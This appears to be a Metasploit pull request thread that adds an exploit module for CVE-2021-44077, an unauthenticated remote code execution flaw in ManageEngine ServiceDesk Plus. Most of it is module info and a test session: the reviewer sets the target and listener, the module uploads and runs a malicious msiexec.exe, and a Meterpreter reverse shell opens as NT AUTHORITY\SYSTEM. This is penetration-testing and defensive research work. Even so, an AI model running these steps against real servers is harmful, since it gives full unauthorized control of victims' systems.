Add ManageEngine ServiceDesk Plus CVE-2021-44077 exploit

[wvu]

msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > info

       Name: ManageEngine ServiceDesk Plus CVE-2021-44077
     Module: exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-16

Provided by:
  wvu <wvu@metasploit.com>
  Y4er

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Windows Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      8080             yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Base path
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits CVE-2021-44077, an unauthenticated remote code
  execution vulnerability in ManageEngine ServiceDesk Plus, to upload
  an EXE (msiexec.exe) and execute it as the SYSTEM account. Note that
  build 11305 is vulnerable to the authentication bypass but not the
  file upload. The module will check for an exploitable build.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-44077
  https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-authentication-bypass-vulnerability-in-servicedesk-plus-versions-11138-and-above
  https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021
  https://www.cisa.gov/uscert/ncas/alerts/aa21-336a
  https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/
  https://attackerkb.com/topics/qv2aD8YfMN/cve-2021-44077/rapid7-analysis
  https://xz.aliyun.com/t/10631

msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) >

[wvu]

Well, Log4j really blew up. I'll get back to this soon.

[wvu]

Back on this today. :)

[wvu]

All right, I think I'm done making fixes and improvements. 😅

[bwatters-r7]

Here's an exe, would it be too much trouble to have you execute it as SYSTEM? Sweet, thanks.

msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > show options

Module options (exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.5.132.101     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasplo
                                         it
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (windows/x64/meterpreter_reverse_tcp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   EXTINIT                      no        Initialization strings for extensions
   LHOST                        yes       The listen address (an interface may be specified)
   LPORT       4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Dropper


msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > set verbose true
verbose => true
msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > set lhost 10.5.135.101
lhost => 10.5.135.101
msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > run

[*] Started reverse TCP handler on 10.5.135.101:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /RestAPI/ImportTechnicians is present.
[*] Uploading msiexec.exe
[+] Successfully uploaded msiexec.exe
[*] Executing msiexec.exe
[!] Yo, don't forget to clean up ..\bin\msiexec.exe
[*] Meterpreter session 1 opened (10.5.135.101:4444 -> 10.5.132.101:50017 ) at 2021-12-23 14:37:55 -0600

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

[bwatters-r7]

Release Notes

This module exploits CVE-2021-44077, an unauthenticated remote code
execution vulnerability in ManageEngine ServiceDesk Plus, to upload
an EXE (msiexec.exe) and execute it as the SYSTEM account.